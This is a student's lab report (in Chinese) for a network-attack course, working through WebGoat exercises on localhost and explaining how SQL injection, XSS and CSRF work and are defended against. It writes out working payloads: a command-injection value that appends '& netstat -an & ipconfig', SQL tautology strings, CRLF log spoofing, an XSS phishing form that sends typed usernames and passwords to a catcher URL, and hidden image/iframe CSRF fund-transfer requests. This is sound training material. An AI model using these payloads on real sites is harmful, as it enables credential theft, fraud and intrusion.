2019-2020-2 20175233《网络对抗技术》Exp9 Web安全基础
2019-2020-2 20175233 《网络对抗技术》Exp9 Web安全基础
实验内容
本实践的目标理解常用网络攻击技术的基本原理,
- 做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。
- 抓图包括学号,P图或无学号,扣0.5分 (0.5分)
- 抄袭别人者0分
实验后回答问题(0.5分)
(1)SQL注入攻击原理,如何防御
- 原理:
- 通过在用户名、密码登输入框中输入一些
',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,如果猜测出后台的SQL语句格式,然后有针对性的输入,就可以达到相应目的。
- 通过在用户名、密码登输入框中输入一些
- 防御:
- 规范代码安全性,对漏洞注入点相关代码进行关键字的过滤
- 不在在服务器端放置备份的文件
- 将数据库里的内容进行加密处理
(2)XSS攻击的原理,如何防御
- 原理
- 攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
- 防御
- 用户提高防范意识,不要轻易输入个人信息,如用户名密码。网页制作者对输入和URL参数进行过滤;在输出数据之前对潜在的威胁的字符进行编码、转义。
(3)CSRF攻击原理,如何防御
- 原理
- CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器。
- 防御
- 验证HTTP Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。
实验总结与体会
- 本次实验比较顺利,没有出现什么问题,只是刚开始没有配置jdk,浪费了些时间。通过这次实验,我了解这两种攻击的各种形式,也对防范这些攻击有了一些认识和理解。
实践过程记录
安装并启用webgoat
-
update-alternatives --config java切换到jdk1.8
-
下载
webgoat-container-7.0.1-war-exec.jar,然后输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat,出现Starting ProtocolHandler证明开启成功
-
浏览器打开WebGoat,在浏览器中输入
http://localhost:8080/WebGoat进入WebGoat登录界面,用户名密码均为webgoat;
-
成功打开网页
SQL注入攻击(Injection Flaws)
命令注入(Command Injection)
-
在左侧菜单栏中选择
Injection Flaws->Command Injection,在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& netstat -an & ipconfig"
-
点击
view,查看执行指令后的网络端口使用情况和IP地址
数字型注入(Numeric SQL Injection)
-
通过选择不同地点,可以选择查看相应城市的信息。每选择一个城市,就会把该城市对应的
station字段填入SELECT * FROM weather_data WHERE station = ?这条语句中,在数据库后台执行,并将从数据库中得到的搜索结果打印在屏幕上。 -
右键点击页面,选择
inspect Element审查网页元素对源代码进行修改,选中的城市编号Value值中添加or 1=1
-
Go!显示所有天气数据
日志欺骗(Log Spoofing)
- 日志欺骗就是通过添加假的日志文件以实现登录,在
User Name输入5233%0d%0aLogin Succeeded for username: admin,%0d表示空格,%0a表示换行;接下来点击登录会显示两行信息,第二行显示admin登陆成功,证明登陆成功
LAB:SQL Injection
- 字符串型注入(Stage 1: String SQL Injection)
- 右键点击页面,选择inspect Element 审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20。
- 以用户Neville(admit)登录,输入密码
hello' or '1' = '1
- 右键点击页面,选择inspect Element 审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20。
- 数字型 SQL 注入(Numeric SQL Injection)
- 使用用户名
Larry,密码larry登录,点击ViewProfile查看用户资料
- 右键点击页面,选择
inspect Element审查网页元素源代码,将员工ID的value改成101 or 1=1 order by salary desc,使得Boss的信息作为查询到的第一条数据(始终是最高的)。
- 点击
ViewProfile,即可查询到最高纪录的结果
- 使用用户名
XSS攻击(Cross‐Site Scripting)
- XSS 钓鱼(Phishing with XSS)
- 创建一个
form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam - 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
- 受害人填写一个表格;
- 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
- 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
- 编写一个带用户名和密码输入框的表格:
- 创建一个
//脚本
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
将上方这段代码输入到"Search:"输入框中,点击search,若在登录框中输入用户名、ysy ,密码5233,点击登录后,会像代码中alert提示的,显示被窃取的用户名和密码。
-
存储型XSS攻击(Stored XSS Attacks)
- 在title中输入任意字符,留言板中输入
<script>alert("I am 20175233ysy. You've been attacked!!!");</script>,点击生成的message,出现提示。
- 在title中输入任意字符,留言板中输入
-
反射型XSS攻击(Reflected XSS Attacks)
- 在
Enter your three digit access code框中输入<script>alert("You've been attacked!!! I'm 20175233ysy");</script>
- 在
CSRF攻击
- 跨站请求伪造(Cross Site Request Forgery (CSRF))
- 查看页面右侧Parameters中的src和menu值,分别为279和900
- 在title中输入20175233,message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=279&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交。 - 在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
- 绕过 CSRF 确认( CSRF Prompt By‐Pass)
- 查看页面右侧Parameters
- 在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=304&menu=900&transferFunds=5000"> </iframe><iframe src="attack?Screen=304&menu=900&transferFunds=CONFIRM"> </iframe>

浙公网安备 33010602011771号